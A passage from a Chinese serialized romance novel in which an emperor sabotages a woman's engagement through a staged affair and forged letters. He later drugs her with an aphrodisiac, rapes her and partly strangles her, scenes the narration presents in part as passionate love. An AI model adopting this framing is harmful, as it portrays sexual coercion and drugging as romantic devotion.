齐姝妍抽了最上面那张收下,道声谢,背身远去。 步仙镝望了会齐姝妍背影,叹口气,独自往京城方向赶路。再翻过一座山,途经水月寺,就能望见京师的城墙了。 却见齐姝妍站在崖边,再往前一步,就粉身碎骨。 步仙镝急忙纵身离马,展猿臂将她搂住,带离崖边:“你做什么?是不是他们——” 他怀疑她遭了匪徒羞辱,一时想不开。 “不是。”齐姝妍果断否认。她挣脱了下,步仙镝才意识到自己把齐姝妍搂在怀中,连忙松开,面上满满都是尴尬。 齐姝妍调头往京城方向走。 步仙镝赶紧牵马追上。 齐姝妍停,他也停;齐姝妍转弯,他也转弯。齐姝妍最后停步转身,冷冷对步仙镝道:“你走吧,别跟着我。” 步仙镝却道:“我也要回京,正要一道走。” 他与齐姝妍自小结识,长辈间皆熟,且她如今是郡主,因这三样原因,他不能眼睁睁瞧着她寻短见,一定要护她平安回京。 齐姝妍没回话,朝着京城方向重新迈步。虽然她依旧面无表情,但步仙镝晓得她允了,于是便跟在旁边。走了三、四十步,他突然想,要是云窈遇到跟齐姝妍一样的灾祸,会不会也想不开,自寻短见? 不,不能想,光只假设他就心生疼,云窈觉不能遇到这样的事。 但步仙镝又很快想到云窈和皇帝那一段,他只能赶紧揭过,不再想这茬,但却不知不觉脸色变得晦暗。 齐姝妍往左拐,欲再次分道扬镳。 “唉你怎么又走了?”步仙镝一脸懵。 “瞧你不情不愿的,我不想碍眼。”齐姝妍不苟言笑。 步仙镝先是愣怔,继而反应过来,齐姝妍会错了意,他垂下眼帘,讳莫如深:“本将对你并无恶意。” 齐姝妍这才重新和他同路。 下山路好走,轻轻松松,不需要怎么用力,步仙镝憋了许久,忍不住问:“话说……你怎么变了这么多?” 对他的态度完全不同了。 “你离京投军不久,我就想通了。”齐姝妍徐徐道,“现在想想,我以前是挺讨厌的,像只苍蝇围着你嗡嗡叫,还好你大人大量,没把我拍死。” 步仙镝抿唇,她从前的确讨他厌,但喻作苍蝇也太过,于是他说:“别说得这么难听。” “是真的,”齐姝妍侧首看向步仙镝,“我换位想想,要有人像以前的我那样围在身边,我也很烦。” 良久,步仙镝接话:“过去的事就过去了,不必纠结。我也……没有特别讨厌你。” 他心里突然再一次想到云窈,莫名慌张,连眨两下眼。 “你在云中有遇着心仪的姑娘吗?”齐姝妍突然问。 步仙镝愣了一会才反应过来:“有啊。”说起云窈不自觉漾笑,“我这趟回来打算禀明爹娘。” “那恭喜了,到时候请我喝喜酒。” “多谢,一定。” …… 齐拂己的故事讲到这暂告一段落,他喝光一盏茶,云窈不喝,他很担心她口渴:“你真的不喝?” “你同我讲这些做什么?”云窈却反问。 说实话,她听完心里有几分不舒服,齐拂己如愿膈应到她了——但她绝对不会让他知晓,得意。 且她觉得,齐拂己是主谋,他给齐姝妍下令设计步仙镝。 还有,出自齐拂己口中的话,未必全真。 因此云窈故意硬邦邦怼回去:“这不就是友人之间正常往来?” 齐拂己勾了勾唇角:“步小太尉抵京时,李凝已经出殡,但他是坠楼枉死,京中风俗这类要做七七四十九日回魂,百日招魂,死者方才入土为安。小太尉便住回了太尉府,参与、张罗此事。恰逢姝静也去世……” 齐拂己讲到此,云窈突然扬眉,面露错愕——齐大小姐怎么也走了? 她和齐姝静打过好些交道,不由心生难过和恍惚,又奇怪怎么好生生的人,青春年少,就这么去了? 齐拂己续道:“……姝妍张罗她姐的后事,步仙镝那边也是丧葬,二人于是总在各种铺面遇着,渐渐了,从常相遇变成每日见,同进同出……” 齐拂己绘声绘色,事无巨细,云窈听得越来越不舒服,她眺见底下郡主府开门,步仙镝出来,仿佛救赎一般:“他出来了。” 齐拂己正说着,缓缓止声,也回头俯视。 步仙镝出来不久,齐姝妍也牵马跨出门外。 齐拂己勾唇一笑。 云窈静静眺着街上:“他是陪她回家拿东西的。郡主一个人行夜路,恐不安全。” “呵——”齐拂己一声嗤笑,“不安全她身为郡主,可以请大把护院,她不缺的,缘何偏要步仙镝陪?” 他甚至想到云窈屡次逃跑,路上多少个夜晚,步仙镝陪了吗? 齐拂己深深吐纳几口,他也是贱,竟替她向另一个男人抱不平。 齐拂己镇定心绪和神色后,深深看向云窈:刚才他讲的一番话她往心里去没有?明不明白楼底下孤男寡女,说明什么? 云窈与齐拂己四目相对,少顷,启唇:“这说明步将军有情有义。”她其实心里也没底,却故意道,“我没看错人。” 刹那,齐拂己恍觉肺炸,脑子也炸,眼前黑乎乎,耳畔嗡嗡作响。 蠢货!蠢蛋! 他心里被嫉妒填满,又恨云窈识人不清。 诚然这一切是他设计,但她还真是不到黄河心不死呐! 他恨不得对着她的额头狠狠敲个栗子,却连手指面额都舍不得,只盯她道:“那朕就再让你瞧瞧!” 齐姝静招魂这日,齐姝妍和步仙镝均有到场。 白幡摇曳,纸钱飞舞,木鱼铙,唱诵念经。 仪式完毕,送客时齐姝妍许是因为心力交瘁,脚步恍惚,身子搀了两下,步仙镝急忙扶住。 远处马车里,齐拂己盘膝坐在云窈旁边,共同目睹这一幕。 齐拂己笑道:“他时时刻刻在她身侧,自然扶得快了。” 齐姝妍重新站稳,步仙镝却没有放开齐姝妍,手始终放她背上,一道送客。 天热起来,齐拂己一直在帮云窈扇子,手上不停,嘴上也不饶人:“他俩倒像男女主人。” 没一会,客都送走,齐姝妍和步仙镝走到角落里,窃窃私语,云窈扭头瞥齐拂己,齐拂己笑着摊手:“朕也听不清。” 刚才摊手停扇,齐拂己怕云窈热,赶紧续上,重送凉风,他眼睛仍瞟着窗外:“你也别太心灰意冷,且看明日他是回云中,还是眷恋温柔乡。” 云窈袖中攥拳,极力抑下想瞪齐拂己的冲动。 窗外里,步仙镝和齐姝妍还在对谈。 他问她好些了吗,齐姝妍点头以后,脑袋没再抬起来。 他凝视她白皙的脖颈,抿唇。 “你明日就要走了吗?”她突然问。 “是要回去。”步仙镝缓缓答,云窈还在云中等他,但下一刹他突然想起这趟回京见到了爹娘比印象中老了许多,头发都白了,父亲还曾透露致仕想法。 二老生出京长于京,很难搬去云中,且父母在不远游,云窈却不愿来京…… 又想最近丧礼上听人说起,才知道自己离京时齐姝妍本想追去,却被家里人钉门板锁在绣楼中…… 他心绪一时杂乱纷繁,如麻般找不到头绪,最终都压下,先不深究,只回答齐姝妍:“后日走吧,明日我想给她买些京中特产带回去。”他顿了顿,喉头很明显滑了下,“你知道小娘子们都喜欢什么样的礼物?或者京中流行些什么?” 他别过头去:“我许久没回,已不了解。” “要是不嫌弃,明日我可以陪你一起采买。” 步仙镝迅速转回脑袋看齐姝妍一眼:“不嫌弃!” 他自己都没发现,答得极紧迫干脆。 翌日,天公不作美,下起小雨。 步仙镝仍撑伞来到闻喜郡主府前。 叩门后,齐姝妍下一刻就出来,也撑把伞,二人上了同一辆马车。 齐拂己命自己的车跟上,晃晃悠悠,他在车厢内同云窈笑道:“这么早,不晓得的还以为他俩开铺子,赶着去开门。” 云窈攥拳,她心里已经够乱了,他还在这阴阳怪气。她剜齐拂己一眼,他身上哪里还找得到半点寡言少语的矜贵气? 齐拂己接到云窈目光,旋即晓得她在生气,心中一乐,却又不忍心,敛起笑意,柔声道:“别气了。” 为了步仙镝那种男人,不值得。 他俩的车就跟着太尉府的马车走,隔着一段距离,默默尾随。 前面车在一家糕点铺子前停驻,步仙镝先撑伞下来,接着抬手抚齐姝妍下车。二人在铺子里待了一会,出来时手上都拧着东西。齐拂己吩咐两句,很快有人抱来一盒糕点,交给齐拂己:“他们买了一盒这样的。” 齐拂己接过,先开盖,再递云窈:“尝尝?” 尝过步仙镝再送她就不稀奇了。 云窈没回应,齐拂己也不恼,命车夫继续跟上太尉府的车。 步仙镝和齐姝妍又钻进间首饰铺子。齐拂己见状往云窈耳边凑:“他要真有心,应该送你家传的。” 云窈瞪他一眼,他乐呵呵抬手要揽她的腰,她将他手打掉。等步仙镝和齐姝妍离开首饰铺,很快又有人来齐拂己这边回报:“小太尉一进铺子,就说要挑套头面送给心上娘子。” 齐拂己闻言,沉脸默不作声。 “然后郡主帮他挑了一整套,得要七日后才能取,郡主忙说不要了,小太尉却还是订了那套……” 齐拂己听到这,淡笑觑云窈一眼。 “……小太尉付了定睛后,拿起里头一只镶宝镯,问郡主是不是也喜欢这只?郡主不语,小太尉就额外也订了一只送给郡主。” 齐拂己闻言再瞟云窈,见云窈眺看窗外,他也跟着望去,步仙镝和齐姝妍居然弃了车,并肩行在雨中,起初一人打一把伞,雨明明越下越大,却变成二人共一把伞。齐拂己忍俊不止:“这么大的雨都不减他俩雅兴。” “够了!”云窈终于吼出昨日就想呵斥的话。 齐拂己偏不住嘴,还要分唇,云窈不想听他的胡言乱语,抢先打断:“这些天他有没有往云中寄书信?是不是都被你截了?” 齐拂己唇重合上,抿着,云窈便知是了,追问:“信呢?” 齐拂己吩咐车夫停止跟踪,转回禁宫,他拿出步仙镝的亲笔信,往桌上一甩。 云窈走近拆看,的确是步仙镝笔迹,她翻了三、四封,步仙镝都说些在京日常,只字不提齐姝妍。 云窈突然想到些什么,追问齐拂己:“你模仿我的笔迹给他回信了?” “放心——”齐拂己缓缓看向自己的手,“回的都是好话,叫他莫要牵挂,你一切都好,等他回来。” 说得他心不痛快,膈应,想起回信时更不痛快,他瞪眼道:“窈娘,是他负了你。” 云窈上下打量齐拂己——他一副咬牙切齿、同仇敌忾模样,可难道不是他唆使齐姝妍步步为营的吗? 她现在心情很复杂,微扬下巴也扬起步仙镝的那些信:“我怎么能确定这些信不是你伪造的呢?” 既然模仿她的笔迹,那也能模仿步仙镝。 齐拂己气得呵了一声:“你以为人人的字朕都愿意下工夫钻研吗?” 他恨不得送她一副对联,笔走龙蛇,上联就写不到黄河心不死,下联不撞南墙不回头。 “我要见他。”说这句话时,云窈浑身都起了鸡皮疙瘩。 齐拂己眼皮撩了下,压低下巴:“朕最多允你同他说三句话。” 云窈知道要得到答案很简单,但就是因为简单,她举起信的手微微发抖,整条胳膊都控制不住震颤,声音也是抖的,冒着寒气:“我只问……这封信。” 翌日。 步仙镝缓步城南,他七日后才返云中,这几日无甚安排。齐姝妍说想吃城南郑记的馄饨,那他正好无事,可以帮她买一碗送过去。 步仙镝刚到郑记,同寻常百姓一样排队,突然有人碰了下他的胳膊。 步仙镝以为推搡,不以为意,那人又碰一下,他蹙眉看来,见一女子头戴幂篱立在他身后。 步仙镝的呼吸立马变得急促。 “是我。”云窈压低嗓道。 “琴琴!”步仙镝一下子就笑起来,整个人气色都亮,“你怎么在这?” “你一直不回云中,我担心你出意外。”云窈压低声音,一想到齐拂己就在郑记楼上,她和步仙镝的谈话都能听见,她就心发颤。 “放心吧,你送我的符一直贴胸口带着,怎么会出事呢?”步仙镝咧开嘴笑,“琴琴保我平安。” 云窈隔着幂篱打量步仙镝,数月未见,他并没有什么变化,皓齿皎洁,笑容也依旧炙热灿烂。 “你吃早膳没有?”步仙镝问。 云窈摇头。 “刚好我也没吃,就在这一起吃吧。”步仙镝要给她买馄饨,云窈摇头:“我不方便。” 步仙镝瞥向她戴的幂篱,片刻,否道:“没事的,咱们找个角落。” 他坚持买了两碗馄饨,和云窈坐在角落,云窈背对外面,只有步仙镝能看见她的脸。 馄饨上来他催她快吃,不要饿肚。 云窈吃了两个,无意抬头,发现步仙镝在注视着她笑。 云窈垂首:“你不吃吗?” “我看你吃的特别有味。”步仙镝托腮,视线仍未从云窈脸上移开,“最喜欢看琴琴吃饭了,特别香。” 云窈已经舀了第三个馄饨,热气腾腾中,将勺重放回碗里:“你为何……一直不回云中?” “你非京城人氏,不知京中有枉死之人,百日招魂的习俗。”步仙镝敛笑正色,“李兄与我亲如异性兄弟,我理当等到招魂以后再归家,”他蹙起眉头,“这些事不是跟你信里说了吗?” “我……担心你。”云窈说了假话,不慎咬到舌头,她抬起头同步仙镝对视,他却即刻躲开。云窈心中一刺。 步仙镝重泛起笑,语若连珠:“其实我心里也盼着早点回去,昨日我还给你亲自挑了些礼物,暂时不能告诉你,你来了京城正好,见完我爹娘,一道去取。” “你亲自给我挑的?”云窈胳膊突然开始颤抖,她将双臂垂下,免得被步仙镝察觉。 “是啊!”步仙镝毫不犹豫点头。 云窈头朝上仰了下,虽然齐拂己在听,虽然她的问话已经远远超过三句,但她还是忍不住还想问最后一句:“你刚才是要到哪去?” 步仙镝这才记起来给齐姝妍送馄饨,眸中闪过一丝慌张,却很快掩住:“没去哪啊,就在这吃馄饨,正好你来了,待会吃完带你回去见爹娘。” 云窈缓缓点头,心里却涌起一股悲哀。 步仙镝冲她笑笑,起身道:“我去结账。” 云窈再次颔首。 步仙镝穿过一桌又一桌食客,到了柜台前结完账,冲云窈方向眺望一眼——她落座的地极偏,这里他瞧不见她,她也望不见柜台。 步仙镝快步出郑记,交待等在门外的长随:“你给郡主送一碗馄饨去。” 而后回转身,跨过门槛,往大堂深处走,笑容满面:“琴琴!” 云窈方才坐的地方空了,不见人,只余桌上一碗未吃完的馄饨。 步仙镝笑容僵住:“琴琴?” 二层郑记楼上的私宅里,齐拂己听着步仙镝方寸大乱,四处寻人,只觉痛快。 步仙镝将永远永远再找不到云窈。 齐拂己噙笑看向云窈,仿佛在说:你输了。 “你满意了?”云窈平静的问。 她太平静了,自始至终面上没有丝毫波动,眸子也没有他以为会瞧见的伤心、愤慨。这平静反倒令齐拂己慌乱,小心翼翼走向云窈,抬手要揽她的腰,云窈一打齐拂己胳膊:“别碰我。” 好好,她还是个活人,齐拂己不觉打痛,只觉安心。 他手虚抬着,不碰她,轻道:“还有朕,还有朕。” 云窈回宫也不愿同齐拂己待在一处,他知她心里难过,没有强迫,给她安排了自个寝殿旁边的偏殿。 直到齐拂己离开,偏殿来只剩下落玉,云窈才放声大哭。 声音穿透墙壁传来皇帝的寝殿,齐拂己只觉万箭穿心,隔壁哭了多久,他就枯坐多久,那厢哭声停止,齐拂己仍无睡意,翌日上朝,两眼隐隐泛着红血丝。 下朝以后,齐拂己未去御书房,径直去往偏殿,他想看看云窈,放心不下。路上却遇着三、四内侍,围着一宫人欺负,还朝那宫人头顶浇水。 “你们在做什么?”大安旋即呵斥。 内侍们立马跪倒讨饶,而那宫人抬起头来,齐拂己原本平静的脸色骤然炸开一道裂缝——这宫人和云窈有三分相似。 宫人眼角流下一滴泪,和她发梢不断滴下的水融汇,梨花带雨,我见犹怜。 齐拂己恍惚怔然,下一刹拂袖而去。他加快脚步赶往偏殿,几乎是踹开门,怒气冲冲。 见殿中云窈徐徐转身,一脸漠然,齐拂己心中憋闷愤慨更甚,抬臂振袖:“你当朕是什么人?步仙镝之流吗?” 今日偶遇的宫人是云窈差使落玉安排的,他差使齐姝妍拆散了她的姻缘,她就以牙还牙,用同样的美人计来色诱他。 好好好,以为他跟步仙镝一样心猿意马,见异思迁? 齐拂己重重呼出一口气,要知道,这天底下的男人是不一样的。 云窈晲他的眼神里却带着轻蔑,仿佛在说天下乌鸦一般黑。 齐拂己忍不住道:“朕与他不同,他不够爱你,且道德地下。” “你说别人道德低下?”云窈快笑出声。 齐拂己向前一步:“朕兴许没道德,但绝对绝对,此生此世只爱你一个。”郑重且直白的剖析,他耳根微微发红,“朕的江山、朕的躯体,朕的三魂七魄乃至性命,都将与你共享。”他直勾勾凝视云窈,双眸也开始发红,他能听见自己的心跳,“都完完全全属于你的。” 他对她的爱永恒唯一,不会随时间人物改变、消减或转移。 所以请她不要浪费自己的爱,误给旁的不值得爱的男人。 请只爱他。 请爱上他。 第58章 第五十八章 死局 云窈一直迎着齐拂己的目光,直视,但他从他的眸子中读不出半点爱意。 她还是冷冰冰的,完全没有被打动。 齐拂己心中瞬时涨满绝望和悲凉:“难不成你还打算原谅他?”他在她耳边循循善诱,“别想着他心里有你就原谅,他还会和姝妍继续纠缠不清。信不信,只要你跟他说清楚分开,过段日子,他包管光明正大和姝妍在一起,成亲、生子……”他盯着云窈的耳朵,注视久了很想舌尖舔一口,最终忍住,改为朝她耳洞里轻轻吹口气,“你只有朕,朕也只有你。” 云窈想挣脱齐拂己的怀抱,却没有劲,她不逛手脚发软,胸口发闷,还觉得心跳也是乱而无序的,呼吸艰难,齐拂己一番话让她沮丧、绝望,甚至对自己产生怀疑,是不是自己哪里不好?所以遇着的男子非死即辜负? 前半生在脑子里走马灯似过了一遍,她确定自己没做什么恶。那是上辈子做了恶,所以这辈子不配拥有幸福? 云窈缓慢抬首,想去寻找齐拂己的眼睛,好像他真成为寒夜里唯亮的启明星,她唯一的光。 不、不对! 云窈心一慌,接着迅速稳住。 不要被妖魔的吟诵蛊惑! 她没有错! 他也不是她的救赎! 是他害她至此,且不可迷失心知! 半晌,齐拂己得不到期盼的答案,在她耳边吹起,耳鬓厮磨,继续用蛊惑的语气问:“你知不知道姝静是怎么死的?” 因为偏殿寂静,听在云窈耳中他的声音比实际冷。 云窈咬紧牙关,不接话。 “她去世的日子,被人为改后了几日,其实她是和李凝同一天死的。”齐拂己说着,还是忍不住在她耳廓上舔了一口,云窈一个哆嗦缩肩。 齐拂己道:“她和李凝从前偷情,后来李凝不要她了,她就拉着他坠楼,一道下地狱。” 云窈双肩一颤,被这真相震惊到,久久不能回神。 待缓过神,完全没注意齐拂己已经完全贴上她后背,她两臂抱在身前,缓慢侧首去打量齐拂己——李凝和齐姝妍都好可怕,还有身边这个疯子,他怎么能将两条性命,一桩污案说得如此直白、粗鄙且冷漠? 云窈看齐拂己不说话时,仍是一张玉面,超凡脱俗,不染人间烟火。 他右手手背托起她的右手,从云窈指缝穿过,轻轻扣住:“世间多遇薄情郎,朕不是,可是为什么打动不了你呢?” 她为什么不能爱上他? “从我在东宫醒来那一夜就不可能了。”云窈冰冷、干脆地回话。 她要清楚他是什么样的人,不能犯迷糊,更不能就此感动、认命,沉溺在他的怀抱里。先帝那会她宁愿冒着死的风险也要离开他,她不后悔脸上留下疤痕,如果有机会,她还要逃。 齐拂己分唇,面上极罕见地现出一丝婴孩般的懵懂、错愕,东宫那一夜?那不是他俩的洞房花烛吗? 云窈不知齐拂己不解,仍继续道:“或者更早些,从你决定对张公子动手那一霎,就永远不可能。” 齐拂己听见这话,忽然转半圈改为面对云窈,埋头就堵住她的唇。 不要再说了,别再说第三个不可能。 齐拂己将她唇牢牢封住,他再也不想听到任何令他灰心丧气,万念俱灰的话。 他稍微蹲了一下,将她打横抱起,往床上走。云窈整个身体僵了下,而后开始拳打脚踢。他习以为常,步履不停,直往床榻走。 “别、别……”她隔太久没经历男女之事,好像重新变得像第一次那样害怕,她不受控地祈求他:“别……” 齐拂己不管不顾将她丢到床上,自己单膝跪上,上手扯她衫子,云窈手护,拉扯间听见裂帛声,她抵不过他的力气,衫子却撕开,春光乍现。 “就是这样!就是这样!”云窈突然从祈求变为爆发,抓着齐拂己的衣襟狠狠地摇,甚至高高举起右手,胸脯起伏,想扇他一耳光。 齐拂己瞧着云窈,分唇,整个人缓慢停止动作。 云窈无力垂下手,身子瘫软:“那一夜就是这样……” 定住如石塑的齐拂己,心忽然轻轻扯了一下,接着就是发闷,胸口闷,喉管闷,肩膀、脖颈,哪哪都想挠。他是真的没看错,不是恍惚,偏殿四面八方冒出无数箭矢,镞尖对着他,在一霎全部射来,万箭穿心。 齐拂己往前栽了下,晃了晃身,重新跪直。 偏殿里沉默到死寂、诡异。 听不见齐拂己的吐呐,只有云窈一个人的抽泣和换气。 齐拂己压抑着呼吸也压抑旁的一切,良久,俯身去抱云窈。云窈打他胳膊:“别碰我!” 她使出全身力气,旁的还好,当中有一拳正中齐拂己心口,疼得心跳差点停止。他蹙了下眉,还是坚持把云窈抱到床边,让她坐在床沿上。 他看她的手,五指通红尤其关节处,心中不忍,轻抚摩挲:“手打红了。” 云窈抽手,剜他一眼。 齐拂己蹲下来,给她拉高衫子,遮蔽身体,可料子被他撕破,一松手又重往下垂,齐拂己再拉,再遮,在领口处系了个结,才勉强不再滑落。 云窈始终瞪着齐拂己,泪如雨下。 他默默垂眼,视线下挪,她悬在外面的两条腿,鞋也掉了一只。他缓缓拾鞋,捉住她的赤足给她穿上,云窈腿动,要挣脱,他稳稳捉住,穿上,而后才起身掏张帕子给她擦泪。 云窈偏头躲避,齐拂己语调没有起伏告知:“新帕子,我没用过。” 云窈眼中仍有厌恶,他改递帕子到她手边,她也不接。齐拂己突然设想,倘若那一夜没有强迫她,循序渐进,那到如今她会不会爱上他呢? 下一刹他就心一横。没有假如,往事不可追,亦无法回头。 齐拂己绷着脸离开偏殿,之后三日皆未再来。 他如常起居,上朝,在金殿内接见外邦使臣,在书房内同朝臣议政。登台祭祀,温文尔雅,矜贵疏离。 突然天上下起暴雨,难免有朝臣变色,内侍急急给齐拂己打伞,齐拂己却似未被雨淋湿,依旧从容平静完成仪式。 骤雨来得及去得也快,不一会重新放晴。 大安原先跟随齐拂己回御书房,中途得知使节要来再次拜见,他离开齐拂己去接引,路上见着前面四、五的礼部大臣一道往宫外走。 大安怕碰上客套,放慢脚步,哪知偷听到一嘴。 “如此大雨,陛下却仍从容,真是君王威仪。” “主要是陛下心平气和,先前在咱们礼部的时候就是这样。” “你们同陛下结识还短,我认识陛下十年了,他一直这般温和,泰山崩于前都面不改色,没变过。” 大安耳朵偷听,眼睛却不自觉望向途经的池苑御湖,陛下在旁人面前,的确就像这湖水,波澜不惊,一平如镜,和善也好,矜贵也罢,还始终带点疏离淡漠,可望不可即。 没有任何改变。 陛下只有云娘娘面前才会性情大变,旁人瞧见的是湖面,唯独云娘娘见着的是湖底,什么虾蟹王八、淤泥藕节,黑的暗的甚至是沉尸,陛下都统统给云娘娘瞧见,也只愿给她瞧见。 大安长吁口气,连他这个木鱼脑袋都看透了,陛下离不开云娘娘。 大安到了麟德殿,与使节见礼,引去御书房。齐拂己端坐圈椅,与使节对谈。半个时辰后,使节离去,齐拂己仍未挪身,大安就隐隐觉出不对劲了。 他还嗅到了不对劲的根源——陛下三天没见云娘娘了。 大安大着胆子窥视,发现皇帝虽然面色平静,但手指捏着桌沿,指节已经用力到发白。 唉,大安在心底叹口气,他是听说了,陛下和云娘娘又闹了吵了。 如何破局? 依着习惯,应该会是陛下主动放低身段,去哄一哄…… “大安。”齐拂己突然唤。 “臣在。”大安忙上前,对上皇帝铁青的脸,先是一愣,继而心中发颤。 “传召大理寺卿。”齐拂己冷声下令。 大安思及李凝,又傻了下,待真传来大理寺卿,皇帝打听的不是李凝,而是齐宽和从前金凤阁逼良为娼的案子。 都是些猴年马月的旧事了! 皇帝着大理寺翻查旧物,又命速喜暗地寻访,花了两日,弄来一瓶金凤阁的夜夜娇,据说这种禁药入水既化,女子服食后任是玉女尼姑也动情。 大安心惊肉跳,七上八下,再窥视皇帝,见其手紧攥着盛禁药的玉瓶,脸上已不能仅用铁青来形容,而是骇人。 齐拂己攥着瓶子往偏殿走,脚步果决坚毅——他是天子,所有人都对他恭恭敬敬,卑躬屈膝,他却要在云窈面前摇尾乞怜。 还乞不到怜。 那就互相怨恨下去吧,抵死痴缠! 齐拂己紧抿双唇,绷着两颊,推开偏殿大门。 云窈正坐在桌边,听见响动,回头望来,与他四目对上那一刻漂亮的眼睛旋即张大,瞪他。 对,就是要这样怨恨,齐拂己心底有个小人在叫嚣,既激动又绝望,他没法放她走,所以只能这样。 齐拂己握着玉瓶,一步步走向云窈。 第59章 第五十九章 眠仇侣 云窈很快注意到齐拂己手中玉瓶,整个人变得警觉、戒备。 齐拂己不讶异她的变化,云窈要是留意不到那就不是她。 终于,云窈开始后退,保持着和齐拂己的距离。她紧紧盯着玉瓶:“这是什么?” “夜夜娇。”齐拂己极其坦然、甚至坦荡地告诉她。进殿以后,他的表情始终没什么变化。 云窈那年只知齐宽对自己用了禁药,但不曾听过名字,因为齐拂己的回答对她而言十分陌生,她完全不懂他在说什么,只将心弦崩得更紧:“你到底要做什么?” 齐拂己再找前走两步,转瞬云窈就被逼至墙角,避无可避。 他掂了掂手上的药,这夜夜娇齐宽那会还是丸剂,如今配成了药水,是云窈爱喝的酸甜口。 他平静开口:“放心,朕不会让你独自服食。” 虽然夜夜娇从来只给女子服食,还未在男子身上用过,但他和云窈不是恩客与美姬,他们是夫妻,要同甘共苦,齐拂己拔开瓶塞,毫不犹豫饮下一大口,而后一只冰冷的胳膊从云窈腰间穿过,搂着后背将她抵至面前,另一手倾瓶仰项,再饮一口,渡给云窈喝。 他无声笑起来,这像不像交杯? 云窈被迫咽下半口,吐出半口:“你给我喝得什么?” 齐拂己不说话,自己再喝,再渡云窈,就让他们一起疯,一道沉沦。 云窈很快燥热,觉得身上哪哪都痒,想扯领口,褪衫子,挣得一丝清凉。她脑子也沉沉发昏,这感觉从前有过,是齐宽那会! 她如今的反应远比当年快,瞬间明白是怎么回事,汗毛倒竖,一霎清醒:“齐拂己,你不可以!” 齐拂己还在喝一口,哺喂一口,很一人一口夫妻同饮,很公平的。 云窈偏头躲避:“陛下!” 一口夜夜娇顺着她的面颊流下,浪费了。 齐拂己注视那一股药,沉沉开口:“夫妻敦伦是婚义七礼——” 他话陡止,因为云窈已经主动贴紧他的胸膛,她踮着脚,仰着头,似乎想吻他却迷迷糊糊没吻到,眸子里全是焦灼。 齐拂己稍微一低头,云窈就主动封住他的唇,继而主动伸舌,又将他唇狠狠吮吸,还发出一声轻细满足的吟叹。 她主动蹭他的身子。 齐拂己闭起眼,他早该用这个药! 下一刹,又懊悔,应该一辈子不把这药用到她身上。 两厢矛盾下,他索性什么都不去想,配合她,迎合她,他也渐渐滚烫,只能从她身上汲取清凉。 他并没有打算离去,仅仅稍微调整身位,云窈就急得胳膊勾住双腿也缠住他:“别走……” 她浅缓吟唱:“我要……” 这两句彻底泯灭了齐拂己的理智,他瞬间变得疯狂,再不管不顾…… 被翻红浪。 …… 待齐拂己重新恢复理智时,他还在海上泛舟。 乱石穿云,惊涛拍岸。 一侧绡帐竟被他俩扯坏坍塌,半边坠地,半边落在榻上。云窈的双眼被帐纱覆盖,目不能视让人变得异常敏锐、热情。 齐拂己发现自己二指竟在口中轻拨,他愣了下,缓慢停止动作。 正准备收回,指却痒了下,竟是舌尖主动舔舐。 他另一只空闲的手缓缓揭开帐纱,看见的是一双依旧漂亮却涣散的瞳眸,她的脸上满满全是沉溺和贪欢,她和他的视线对上,竟冲他讨好一笑。 齐拂己突然恨极也难受至极,他忿忿掐上云窈脖颈,想先杀她再自戕! 他虎口不断收紧,云窈被呛得咳嗽,齐拂己却继续用劲,加注力道。 呼——呼——他自己也在喘气。 方才最激烈时,气都没有这样粗重过。 半晌,他冷着一张脸,缓缓松开虎口,手从云窈脖颈上挪开。 他视线往下,发现刚刚那一会竟在云窈颈上留下红痕。 齐拂己无意识撩了下眼皮,与云窈视线对上,兀地定住。 她的脸色变得冷冰冰,不再有讨好,眸子也从迷离浑浊变清澈, 她的药效也已退去。 他慌忙避开对视,继而又镇定,重对上她的眼,她的眼里全是憎恨、厌恶,还有一个他,他就泡在憎恶里。云窈虽然药效退了,但之前的荒唐和激烈耗尽体力,手脚都抬不起来,嗓子也是哑的,发不出声,但她依然坚持分合嘴唇,无声吐出那两字。 齐拂己读唇语,分唇模仿她张合:去死。 她叫他去死。 齐拂己忽然浑身绷紧,在她叫他去死的眼神和诅咒里一瞬松懈,崩裂奔涌,太爽了,他抓起云窈双手,颇有种执子之手,天长地久的错觉。 原来欲、爱和死亡同时攀上顶峰时一模一样,同样痛快! 他闭眼享受绵长的余韵后,才退出来。 照例亲手给云窈清洗,她没劲,任他摆布,等他拥着她歇息,好一会了,云窈突然从他怀抱中挣脱,转身背对。 她恢复力气了,齐拂己心想,可惜以她的实力,最大的反抗也就是转身背对。他喉头滑动了下,有些替她难过,但他不会分开两瓣紧抿的唇告诉她——她不会信的,说了她指定觉得他是假慈悲。 其实她要泄愤,可以也掐他脖颈,只要她抬手,他就会抓住她的手,主动教她如何扼住他的咽喉。 可云窈没有抬手,她只回首再次狠狠用眼神剜他,然后背对蜷起身子,手脚缩成一团。 还是一只兔子啊。 齐拂己手抚上云窈后背,欲顺脊椎一瞬划过。 啪! 一声清脆响亮,云窈反手打他手。 齐拂己自觉收臂,用眼神代替手指,一瞬抚过云窈脊椎。 一宿无话,齐拂己听她呼吸像是没睡着,但她却没再动,更没有转过来。 哪怕他要早朝,起身穿衣,莫大响动,她也没有转身。 一出偏殿,候在外面的宫人内侍看皇帝都如常,没有什么变化。齐拂己也一如既往上朝,处理国政,井然有序。 是夜,他从书房离开时,再次带走一瓶夜夜娇。云窈已被移回寝殿,她靠着床头,一瞧见齐拂己进门,就看向他手中玉瓶。 云窈缩腿,后退,发现自己反而退到床深处,又急忙往床边挪,想趿下榻。 却突然停止动作。 她晓得跑不掉的,于是用一双泛红的眼望向齐拂己,泫然欲泣。 齐拂己先自己喝,而后照旧哺喂她,如果她的眼泪能给她减轻痛苦,那就流吧。云窈很快失魂,一手勾上他脖颈,另一只手在他身前游走,明晃晃地邀欢。 齐拂己药劲还没上来,但也感觉第二回喝比头回起效更快,微有些晕的搂紧云窈,看她生硬却热烈地挺身,面色迷离,眸子浑浊,像个浑身上下只雕了欲望的人偶。他心一寸寸往下沉,闭上眼试图遗忘其中的别扭,做不到,睁开眼,轻唤:“亲亲。” 他只有这个时候才能喊,连那步仙镝都能在光天化日,在她清醒的情形下喊。 齐拂己莫说心里,连喉咙管都是酸的:“琴琴,叫声夫君来听听。” “夫君……” 她这会好听话,但带着细微哼哼的吟唱其实不算她的声音。 他却可悲的,在还清醒的时候仍沉溺于此:“再喊一声听听。” “夫君,夫君。” 齐拂己搂紧她,唇先吻她的脖颈,耳垂,而后才在耳边蛊惑:“你上回没绣完的那个香囊,给朕绣完吧。” 她都给别的男人绣平安符了。 云窈迷迷糊糊,只知索求,忘记回答。于是齐拂己后仰暂时脱离,云窈急得拽住,主动他身前凑:“夫君别走!” 齐拂己心一紧,好似真当她清醒时唤的,一阵甜蜜酥麻。 “那你给我绣好那个香囊?” 